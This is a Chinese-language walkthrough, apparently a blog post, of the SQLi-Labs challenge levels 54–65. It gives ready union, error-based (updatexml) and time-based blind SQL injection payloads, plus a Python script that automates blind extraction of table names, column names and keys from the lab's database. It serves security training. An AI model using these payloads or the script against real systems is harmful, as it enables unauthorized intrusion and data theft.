摘要:恭喜你走到了这里!经过前面五篇、五十多关的历练,你已经掌握了SQL注入的几乎所有核心技术——从GET到POST、从显注到盲注、从联合查询到报错注入、从过滤绕过到堆叠注入。
但之前的关卡都有一个特点:环境是固定的。你知道表名是什么、字段名是什么,甚至知道闭合方式是什么。而现实世界的渗透测试中,你面对的是一个完全未知的数据库结构。
Less-54到Less-65正是为此而设计——它们统称为 “Challenges”(挑战关卡) 。这些关卡模拟了真实的CTF(Capture The Flag,夺旗赛)场景:数据库表名、字段名、数据都是随机生成的,你必须在有限的尝试次数内,从零开始找到密钥(secret key)并提交通关。
本文作为系列攻略的第六篇,也是完结篇,将系统讲解Less-54到Less-65全部12个挑战关卡。这些关卡综合了前五篇的所有技术,是对你SQL注入水平的终极考验。
一、挑战关卡概述:和之前有什么不同?
1.1 核心变化
| 数据库名 | 固定为 security | 固定为 challenges |
| 表名 | 固定(如 users) | 随机生成(每次重置都不同) |
| 字段名 | 固定(如 username、password) | 随机生成 |
| 尝试次数 | 无限制 | 有限制(5~14次不等) |
| 通关目标 | 获取数据即可 | 必须找到密钥(secret key) 并提交 |
1.2 挑战关卡的“游戏规则”
每个挑战关卡都有这样几个核心规则:
有限尝试次数:页面顶部会显示“已尝试 X 次 / 共 Y 次”。超过次数后,所有数据(表名、字段名、数据)都会随机重置,你必须从头再来。
随机表名和字段名:每次重置(或超过尝试次数)后,系统会生成全新的随机表名和随机字段名。你无法预知表名叫什么、密钥字段叫什么。
目标明确:你的任务是在次数用尽之前,找到藏在某个随机表、随机字段中的密钥(secret key) ,复制并提交到页面下方的输入框中。
右上角有重置按钮:点击可以手动重置整个挑战,生成全新的随机数据。
实战意义:这完美模拟了真实渗透测试的场景——你面对的是一个未知的数据库结构,需要在有限的信息(如报错信息、页面回显)中快速推断出数据库结构并提取目标数据。
1.3 关卡难度分级
| ★★☆ 中等 | Less-54~57 | 10~14次 | 有回显,可用联合查询 |
| ★★★ 困难 | Less-58~61 | 5次 | 无回显,需用报错注入 |
| ★★★★ 极难 | Less-62~65 | 130次(但无回显无报错) | 只能用盲注 |
二、Less-54:10次机会·单引号闭合
2.1 关卡信息
-
关卡名称:Less-54 – GET – Challenge – Union – 10 queries allowed – Variation 1
-
尝试次数:10次
-
闭合方式:单引号 '
-
注入方法:联合查询注入(有回显)
2.2 第一步:理解目标
进入页面后,你会看到一段英文提示:你需要在10次尝试内从 CHALLENGES 数据库的随机表中找到密钥(secret key)。

页面下方有一个输入框,用于提交找到的密钥。
2.3 第二步:判断闭合方式(第1次)
由于只有10次机会,不能像之前那样盲目地试各种闭合方式。优先测试最可能的闭合方式:
?id=1'

页面空白,确认是单引号闭合。
2.4 第三步:判断字段数(第2-3次)
?id=1' order by 3 –+

正常显示 → 字段数 ≥ 3
?id=1' order by 4 –+

空白 → 字段数 < 4
结论:字段数为 3。
2.5 第四步:找显示位(第4次)
?id=-1' union select 1,2,3 –+

第2和第3个位置可以回显。
2.6 第五步:获取库名(第5次)
?id=-1' union select 1,database(),3 –+

数据库名为 challenges。
2.7 第六步:获取表名(第6次)
?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='challenges' –+

记下这个表名qefrc0zz6g(每次重置都不同)。
2.8 第七步:获取字段名(第7次)
?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='challenges' and table_name='qefrc0zz6g' –+

通常会有四个字段:id、sessid、secret_SCK6(密钥字段)、tryy。
2.9 第八步:获取密钥(第8次)
?id=-1' union select 1,group_concat(secret_SCK6),3 from challenges.qefrc0zz6g–+

注意:secret_XXXX 中的 XXXX 是随机生成的,每次重置都不同。
2.10 第九步:提交密钥
将获取到的密钥复制到页面下方的输入框中,点击提交。


2.11 常见问题:提交密钥不成功怎么办?
有时候你明明拿到了密钥,提交却显示失败。这可能是因为系统实际验证的是 sessid 字段而非 secret_XXXX 字段。解决方法:把 sessid 的值当作密钥提交试试。
三、Less-55:14次机会·括号闭合
3.1 关卡信息
-
关卡名称:Less-55 – GET – Challenge – Union – 14 queries allowed – Variation 2
-
尝试次数:14次
-
闭合方式:括号 )
-
注入方法:联合查询注入

3.2 通关步骤
Less-55和Less-54流程完全一样,唯一的区别是闭合方式从单引号变成了括号。
第一步:判断闭合方式
?id=1)

页面空白,确认是括号闭合。
第二步:判断字段数
?id=1) order by 3 –+ //正常显示
?id=1) order by 4 –+ //页面空白

字段数为3。
第三步:找显示位
?id=0) union select 1,2,3 –+

第2和第3位可回显。
第四步:获取库名
?id=0) union select 1,database(),3 –+

第五步:获取表名
?id=0) union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='challenges' –+

第六步:获取字段名
?id=0) union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='challenges' and table_name='s127w9bb5b' –+

第七步:获取密钥
?id=0) union select 1,group_concat(secret_3HNF),3 from challenges.s127w9bb5b –+

第八步:提交密钥


四、Less-56:14次机会·单引号+括号闭合
4.1 关卡信息
-
关卡名称:Less-56 – GET – Challenge – Union – 14 queries allowed – Variation 3
-
尝试次数:14次
-
闭合方式:单引号+括号 ')
-
注入方法:联合查询注入

4.2 通关步骤
和Less-54流程相同,闭合方式改为 ')。
核心payload:
// 测试闭合
?id=1') –+
// 判断字段
?id=1') order by 3 –+ //正常显示
?id=1') order by 4 –+ //页面空白
// 找显示位
?id=0') union select 1,2,3 –+
// 获取库名
?id=0') union select 1,database(),3 –+
// 获取表名
?id=0') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='challenges' –+
// 获取字段名
?id=0') union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='challenges' and table_name='v6a7jvkhln' –+
// 获取密钥
?id=0') union select 1,group_concat(secret_XC69),3 from challenges.v6a7jvkhln–+




五、Less-57:14次机会·双引号闭合
5.1 关卡信息
-
关卡名称:Less-57 – GET – Challenge – Union – 14 queries allowed – Variation 4
-
尝试次数:14次
-
闭合方式:双引号 "
-
注入方法:联合查询注入

5.2 通关步骤
和Less-54流程相同,闭合方式改为 "。
核心payload:
// 测试闭合
?id=1" –+
// 判断字段
?id=1" order by 3 –+ //正常显示
?id=1" order by 4 –+ //页面空白
// 找显示位
?id=0" union select 1,2,3 –+
// 获取库名
?id=0" union select 1,database(),3 –+
// 获取表名
?id=0" union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='challenges' –+
// 获取字段名
?id=0" union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='challenges' and table_name='8543kwbm6d' –+
// 获取密钥
?id=0" union select 1,group_concat(secret_HJHY),3 from challenges.8543kwbm6d–+




六、Less-58:5次机会·报错注入(单引号)
6.1 关卡信息
-
关卡名称:Less-58 – GET – Challenge – Double Query – 5 queries allowed
-
尝试次数:5次
-
闭合方式:单引号 '
-
注入方法:报错注入(联合查询不可用)

6.2 为什么不能用联合查询?
Less-58的代码中,查询成功后返回的是预设数组中的用户名和密码,而不是数据库中的真实数据。这意味着:你用 union select 查到的数据不会显示在页面上,但是页面会显示SQL报错信息,所以只能用报错注入。
6.3 通关步骤
第一步:判断闭合方式(第1次)
?id=1'

报错,确认是单引号闭合。
第二步:报错注入获取数据库名(第2次)
?id=1' and updatexml(1,concat(0x7e,database()),1) –+

第三步:获取表名(第3次)
?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges')),1) –+

第四步:获取字段名(第4次)
?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='challenges' and table_name='w65o3o5ab3')),1) –+

第五步:获取密钥(第5次)
?id=1' and updatexml(1,concat(0x7e,(select group_concat(secret_YMQY) from challenges.w65o3o5ab3)),1) –+


七、Less-59:5次机会·报错注入(数字型)
7.1 关卡信息
-
关卡名称:Less-59 – GET – Challenge – Double Query – 5 queries allowed – Variation 2
-
尝试次数:5次
-
闭合方式:数字型(无需引号)
-
注入方法:报错注入

7.2 通关步骤
和Less-58流程相同,闭合方式改为数字型。
第一步:判断闭合方式
?id=1 and 1=1 –+ # 正常
?id=1 and 1=2 –+ # 无显示

确认是数字型注入。
第二步:报错注入获取表名
?id=1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges')),1) –+

第三步:获取字段名
?id=1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='challenges' and table_name='8spxmx2d86')),1) –+

第四步:获取密钥
?id=1 and updatexml(1,concat(0x7e,(select group_concat(secret_SFZT) from challenges.8spxmx2d86)),1) –+


八、Less-60:5次机会·报错注入(双引号+括号)
8.1 关卡信息
-
关卡名称:Less-60 – GET – Challenge – Double Query – 5 queries allowed – Variation 3
-
尝试次数:5次
-
闭合方式:双引号+括号 ")
-
注入方法:报错注入

8.2 通关步骤
和Less-58流程相同,闭合方式改为 ")。
核心payload:
// 判断闭合方式
?id=1") //报错
// 报错注入获取库名
?id=1") and updatexml(1,concat(0x7e,database()),1) –+
// 获取表名
?id=1") and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges')),1) –+
// 获取字段名
?id=1") and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='challenges' and table_name='fqisnp3nnm')),1) –+
// 获取密钥
?id=1") and updatexml(1,concat(0x7e,(select group_concat(secret_DSWF) from challenges.fqisnp3nnm)),1) –+




九、Less-61:5次机会·报错注入(单引号+双括号)
9.1 关卡信息
-
关卡名称:Less-61 – GET – Challenge – Double Query – 5 queries allowed – Variation 4
-
尝试次数:5次
-
闭合方式:单引号+双括号 '))
-
注入方法:报错注入

9.2 通关步骤
和Less-58流程相同,闭合方式改为 '))。
核心payload:
// 判断闭合方式
?id=1')) //报错
// 报错注入获取库名
?id=1')) and updatexml(1,concat(0x7e,database()),1) –+
// 获取表名
?id=1')) and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges')),1) –+
// 获取字段名
?id=1')) and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='challenges' and table_name='9baars4272')),1) –+
// 获取密钥
?id=1')) and updatexml(1,concat(0x7e,(select group_concat(secret_UT52) from challenges.9baars4272)),1) –+




十、Less-62~65:盲注挑战(无报错无回显)
10.1 为什么这几关最难?
从Less-62开始,情况变得更加严峻:
-
没有报错信息(不能用报错注入)
-
没有数据回显(不能用联合查询)
-
只能用布尔盲注或时间盲注
好消息是:尝试次数增加到了130次。但130次对于盲注来说仍然非常紧张——每个字符都需要多次请求才能确定。
10.2 Less-62:单引号+括号·时间盲注
-
闭合方式:单引号+括号 ')
-
注入方法:时间盲注

第一步:测试闭合
?id=1') and sleep(5) –+

延迟5秒 → 确认闭合方式为 ')。
第二步:判断数据库名长度
?id=1') and if(length(database())=10,sleep(5),1) –+

延迟5秒 → 数据库名长度为10(challenges)。
第三步:猜解表名(逐位)
?id=1') and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='challenges'),1,1))>97,sleep(5),1) –+

技巧:用二分法(>64、>96、>112…)可以大幅减少请求次数。
Python自动化脚本
import requests
import time
import string
import sys
# ========== 配置区域 ==========
# 根据靶场实际地址修改
BASE_URL = "http://localhost/sqli-labs/Less-62/"
# 数据库名固定为 challenges
DB_NAME = "challenges"
# 字符集
CHARSET = string.ascii_lowercase + string.digits + "_{}"
# 延迟时间(秒),根据网络情况调整
SLEEP_TIME = 3
# 请求超时时间
TIMEOUT = 10
# ==============================
class ChallengeBlindInject:
def __init__(self, url, closure):
"""
:param url: 靶场URL
:param closure: 闭合方式,如 "')", "'", "))", ")"
"""
self.url = url
self.closure = closure
self.session = requests.Session()
def _build_payload(self, condition, use_time=True):
"""
构造payload
:param condition: SQL条件语句
:param use_time: True=时间盲注, False=布尔盲注
"""
if use_time:
# 时间盲注:if(条件, sleep(N), 1)
payload = f"1{self.closure} and if({condition}, sleep({SLEEP_TIME}), 1)–+"
else:
# 布尔盲注:通过页面是否有内容判断
payload = f"1{self.closure} and {condition}–+"
return self.url + "?id=" + payload
def _send_request(self, payload):
"""发送请求并返回响应"""
try:
resp = self.session.get(payload, timeout=TIMEOUT)
return resp
except requests.exceptions.Timeout:
return None
def _time_based_check(self, condition):
"""时间盲注检测:返回True表示条件为真(有延迟)"""
payload = self._build_payload(condition, use_time=True)
start = time.time()
resp = self._send_request(payload)
elapsed = time.time() – start
# 如果超时或耗时超过SLEEP_TIME,认为条件为真
if resp is None:
return True
return elapsed >= SLEEP_TIME * 0.8
def _bool_based_check(self, condition):
"""布尔盲注检测:返回True表示条件为真(页面有内容)"""
payload = self._build_payload(condition, use_time=False)
resp = self._send_request(payload)
if resp is None:
return False
# 判断页面是否有"Your Login name"等关键字
# 可根据实际页面调整关键词
keywords = ["Your Login name", "Login name", "Dhakkan", "Angelina"]
for kw in keywords:
if kw in resp.text:
return True
return False
def _check(self, condition, use_time=True):
"""统一检测接口"""
if use_time:
return self._time_based_check(condition)
else:
return self._bool_based_check(condition)
def get_database_name(self, use_time=True):
"""获取数据库名(通常是 challenges)"""
print("[*] 开始获取数据库名…")
name = ""
for pos in range(1, 30):
found = False
for ch in CHARSET:
condition = f"substr(database(),{pos},1)='{ch}'"
if self._check(condition, use_time):
name += ch
print(f"[+] 第{pos}位: {ch}")
found = True
break
if not found:
break
print(f"[+] 数据库名: {name}")
return name
def get_table_count(self, use_time=True):
"""获取当前数据库中的表数量"""
print("[*] 开始获取表数量…")
for cnt in range(1, 30):
condition = f"(select count(table_name) from information_schema.tables where table_schema='{DB_NAME}')={cnt}"
if self._check(condition, use_time):
print(f"[+] 表数量: {cnt}")
return cnt
return 0
def get_table_name(self, table_index=0, use_time=True):
"""
获取指定索引的表名
:param table_index: 0表示第一个表
"""
print(f"[*] 开始获取第{table_index+1}个表名…")
name = ""
for pos in range(1, 50):
found = False
for ch in CHARSET:
condition = f"substr((select table_name from information_schema.tables where table_schema='{DB_NAME}' limit {table_index},1),{pos},1)='{ch}'"
if self._check(condition, use_time):
name += ch
print(f"[+] 第{pos}位: {ch}")
found = True
break
if not found:
break
print(f"[+] 表名: {name}")
return name
def get_column_count(self, table_name, use_time=True):
"""获取指定表的列数量"""
print(f"[*] 开始获取表 {table_name} 的列数量…")
for cnt in range(1, 30):
condition = f"(select count(column_name) from information_schema.columns where table_schema='{DB_NAME}' and table_name='{table_name}')={cnt}"
if self._check(condition, use_time):
print(f"[+] 列数量: {cnt}")
return cnt
return 0
def get_column_name(self, table_name, col_index=0, use_time=True):
"""
获取指定表的指定列名
:param col_index: 0表示第一个列
"""
print(f"[*] 开始获取第{col_index+1}个列名…")
name = ""
for pos in range(1, 50):
found = False
for ch in CHARSET:
condition = f"substr((select column_name from information_schema.columns where table_schema='{DB_NAME}' and table_name='{table_name}' limit {col_index},1),{pos},1)='{ch}'"
if self._check(condition, use_time):
name += ch
print(f"[+] 第{pos}位: {ch}")
found = True
break
if not found:
break
print(f"[+] 列名: {name}")
return name
def get_secret_key(self, table_name, column_name, row_index=0, use_time=True):
"""获取密钥(secret key)"""
print(f"[*] 开始获取密钥…")
key = ""
for pos in range(1, 100):
found = False
for ch in CHARSET:
condition = f"substr((select {column_name} from {DB_NAME}.{table_name} limit {row_index},1),{pos},1)='{ch}'"
if self._check(condition, use_time):
key += ch
print(f"[+] 第{pos}位: {ch}")
found = True
break
if not found:
break
print(f"[+] 密钥: {key}")
return key
def auto_exploit(self, use_time=True):
"""全自动获取密钥(优化:只取第三列)"""
print("=" * 50)
print("[+] 开始自动化注入…")
print(f"[+] 使用模式: {'时间盲注' if use_time else '布尔盲注'}")
print("=" * 50)
# 1. 获取数据库名
db_name = self.get_database_name(use_time)
print("-" * 50)
# 2. 获取表数量
table_count = self.get_table_count(use_time)
if table_count == 0:
print("[-] 未找到任何表")
return
# 3. 获取第一个表名(通常只有一张表)
table_name = self.get_table_name(0, use_time)
print("-" * 50)
# 4. 获取列数量
col_count = self.get_column_count(table_name, use_time)
if col_count < 3:
print("[-] 列数不足3,无法取第三列")
return
# 5. 直接获取第三列列名(索引2)
secret_col = self.get_column_name(table_name, 2, use_time) # 索引2 = 第3列
print("-" * 50)
print(f"[+] 第三列列名: {secret_col}")
# 6. 提取密钥
print("[*] 开始提取密钥…")
key = self.get_secret_key(table_name, secret_col, 0, use_time)
print("-" * 50)
if key:
print(f"[!] 密钥: {key}")
else:
print("[-] 未能提取到密钥")
return key
# ========== 各关卡入口函数 ==========
def less62():
"""Less-62: 闭合方式为 '),使用时间盲注或布尔盲注"""
injector = ChallengeBlindInject("http://localhost/sqli-labs/Less-62/", "')")
injector.auto_exploit(use_time=True) # 改为False使用布尔盲注
def less63():
"""Less-63: 闭合方式为 ',使用时间盲注或布尔盲注"""
injector = ChallengeBlindInject("http://localhost/sqli-labs/Less-63/", "'")
injector.auto_exploit(use_time=True)
def less64():
"""Less-64: 闭合方式为 )),使用时间盲注或布尔盲注"""
injector = ChallengeBlindInject("http://localhost/sqli-labs/Less-64/", "))")
injector.auto_exploit(use_time=True)
def less65():
"""Less-65: 闭合方式为 ),使用时间盲注或布尔盲注"""
injector = ChallengeBlindInject("http://localhost/sqli-labs/Less-65/", ")")
injector.auto_exploit(use_time=True)
if __name__ == "__main__":
# 根据需求选择关卡运行
less62()
#less63()
#less64()
#less65()



10.3 Less-63:单引号·时间盲注
-
闭合方式:单引号 '
-
注入方法:时间盲注

和Less-62流程相同,闭合方式改为 '。
10.4 Less-64:双括号·时间盲注
-
闭合方式:双括号 ))
-
注入方法:时间盲注

和Less-62流程相同,闭合方式改为 ))。
10.5 Less-65:括号·时间盲注
-
闭合方式:括号 )
-
注入方法:时间盲注

和Less-62流程相同,闭合方式改为 )。
系列总结:从零到通关的完整路径
我们走过的路
第一篇:环境搭建 + Less-1~4(基础注入)
-
学会了安装SQLi-Labs
-
掌握了数字型和字符型注入的判断
-
学会了联合查询注入的完整流程
第二篇:Less-5~10(报错注入与盲注)
-
掌握了报错注入(updatexml、extractvalue)
-
学会了布尔盲注和时间盲注
-
理解了“当页面不显示数据时该怎么办”
第三篇:Less-11~22(POST注入与HTTP头注入)
-
从GET切换到POST
-
学会了在登录框、User-Agent、Referer、Cookie中注入
-
掌握了Base64编码注入
第四篇:Less-23~37(过滤对抗与宽字节注入)
-
学会了注释符过滤、关键字过滤的绕过
-
理解了二次注入的原理
-
掌握了宽字节注入的核心技术
第五篇:Less-38~53(堆叠注入与ORDER BY注入)
-
学会了用分号拼接多条SQL语句
-
掌握了ORDER BY场景下的四种注入方法
第六篇:Less-54~65(挑战关卡)
-
在有限次数内完成未知结构的渗透
-
综合运用了前面学到的所有技术
-
模拟了真实的CTF和渗透测试场景
你已经成为了一名合格的“SQL注入选手”
通过这65关的历练,你已经掌握了:
-
5种注入位置:GET、POST、Cookie、User-Agent、Referer
-
6种注入方法:联合查询、报错注入、布尔盲注、时间盲注、堆叠注入、文件导出
-
4种过滤绕过:注释符绕过、关键字绕过、空格绕过、编码绕过
-
2种特殊场景:二次注入、宽字节注入
但请记住:SQL注入只是Web安全的一个分支。实际渗透测试中,你还会遇到WAF(Web应用防火墙)、CSRF(跨站请求伪造)、XSS(跨站脚本攻击)、文件上传漏洞等更多挑战。SQLi-Labs帮你打好了坚实的基础,真正的实战才刚刚开始。
重要声明:本教程及文中所有操作仅限于合法授权的安全学习与研究。作者及发布平台不承担因不当使用本教程所引发的任何直接或间接法律责任。请务必遵守中华人民共和国网络安全相关法律法规。
如果这篇文章帮你解决了实操上的困惑,别忘记点击点赞、分享,也可以留言告诉我你遇到的其它问题,我会尽快回复。你的关注是我坚持原创和细节共享的力量来源,谢谢大家。



